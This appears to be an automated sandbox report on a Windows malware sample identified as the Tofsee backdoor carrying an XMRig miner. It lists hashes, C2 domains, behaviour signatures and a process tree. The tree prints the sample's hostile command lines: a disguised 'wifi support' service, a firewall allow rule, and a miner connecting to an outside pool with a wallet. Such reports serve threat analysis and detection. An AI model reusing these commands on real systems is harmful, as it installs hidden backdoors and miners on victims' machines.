Analysis

  • max time kernel
    146s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 04:13

General

  • Target

    file.exe

  • Size

    272KB

  • MD5

    6896508d64289108686ce180937f1421

  • SHA1

    5fd6c54b3ab237aa4caf04f98a852b130f474b04

  • SHA256

    1086d5f9adf63d6c82831e48cffabb2775d60789635ef6f5709bc06213ff69d3

  • SHA512

    29e8580c7645babd80ec0d0044220557f3e72574051572562c78b36dd376d4861cd2a02058c268edd21bbf1e2d7a0050f5117a5e483a6a7baf0e060de6c1ac23

  • SSDEEP

    3072:9VXpKjioLc3nMszZ2UQz5yrzGAeRqvigxv4T5tLU3U:vpK2oLinM8NQz5yrzbeRqvfxs

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2192
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lkgnknhb\
      2⤵
        PID:2128
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fmlyggos.exe" C:\Windows\SysWOW64\lkgnknhb\
        2⤵
          PID:2700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lkgnknhb binPath= "C:\Windows\SysWOW64\lkgnknhb\fmlyggos.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2784
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description lkgnknhb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start lkgnknhb
          2⤵
          • Launches sc.exe
          PID:2596
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2708
      • C:\Windows\SysWOW64\lkgnknhb\fmlyggos.exe
        C:\Windows\SysWOW64\lkgnknhb\fmlyggos.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2872
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2636
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1520

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\fmlyggos.exe

              Filesize

              11.9MB

              MD5

              4987ca7dba5a80908515616f8e9a61b9

              SHA1

              888041becbf914bba3f5f071c83048146cbd19d2

              SHA256

              84cb2f9e2fea7533772af645d5f1f09be7487b10627898bf1f004789f3fa50e4

              SHA512

              492431071a76da747bde04a8cfe64996eedb219e1ad97e93ac6e61cd70e0c85f37067281d147d7ae93baa1f30e77a9a256afd687b09e2b76fb664be5844efea1

            • C:\Windows\SysWOW64\lkgnknhb\fmlyggos.exe

              Filesize

              11.9MB

              MD5

              4987ca7dba5a80908515616f8e9a61b9

              SHA1

              888041becbf914bba3f5f071c83048146cbd19d2

              SHA256

              84cb2f9e2fea7533772af645d5f1f09be7487b10627898bf1f004789f3fa50e4

              SHA512

              492431071a76da747bde04a8cfe64996eedb219e1ad97e93ac6e61cd70e0c85f37067281d147d7ae93baa1f30e77a9a256afd687b09e2b76fb664be5844efea1

            • memory/1520-73-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/1520-74-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/1520-63-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/1520-65-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/1520-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/1520-78-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/1520-76-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/1520-77-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/1520-75-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/2192-8-0x0000000000230000-0x0000000000243000-memory.dmp

              Filesize

              76KB

            • memory/2192-1-0x0000000000620000-0x0000000000720000-memory.dmp

              Filesize

              1024KB

            • memory/2192-3-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2192-2-0x0000000000230000-0x0000000000243000-memory.dmp

              Filesize

              76KB

            • memory/2192-7-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2636-38-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-47-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-28-0x00000000000E0000-0x00000000000E6000-memory.dmp

              Filesize

              24KB

            • memory/2636-31-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-35-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-34-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-36-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-37-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-24-0x0000000001A90000-0x0000000001C9F000-memory.dmp

              Filesize

              2.1MB

            • memory/2636-39-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-40-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-41-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-42-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-43-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-44-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-45-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-46-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-27-0x0000000001A90000-0x0000000001C9F000-memory.dmp

              Filesize

              2.1MB

            • memory/2636-48-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-49-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-50-0x00000000000F0000-0x0000000000100000-memory.dmp

              Filesize

              64KB

            • memory/2636-51-0x0000000000280000-0x0000000000285000-memory.dmp

              Filesize

              20KB

            • memory/2636-54-0x0000000000280000-0x0000000000285000-memory.dmp

              Filesize

              20KB

            • memory/2636-55-0x0000000005530000-0x000000000593B000-memory.dmp

              Filesize

              4.0MB

            • memory/2636-58-0x0000000005530000-0x000000000593B000-memory.dmp

              Filesize

              4.0MB

            • memory/2636-59-0x00000000003B0000-0x00000000003B7000-memory.dmp

              Filesize

              28KB

            • memory/2636-23-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-10-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2872-12-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2872-17-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2872-11-0x0000000000600000-0x0000000000700000-memory.dmp

              Filesize

              1024KB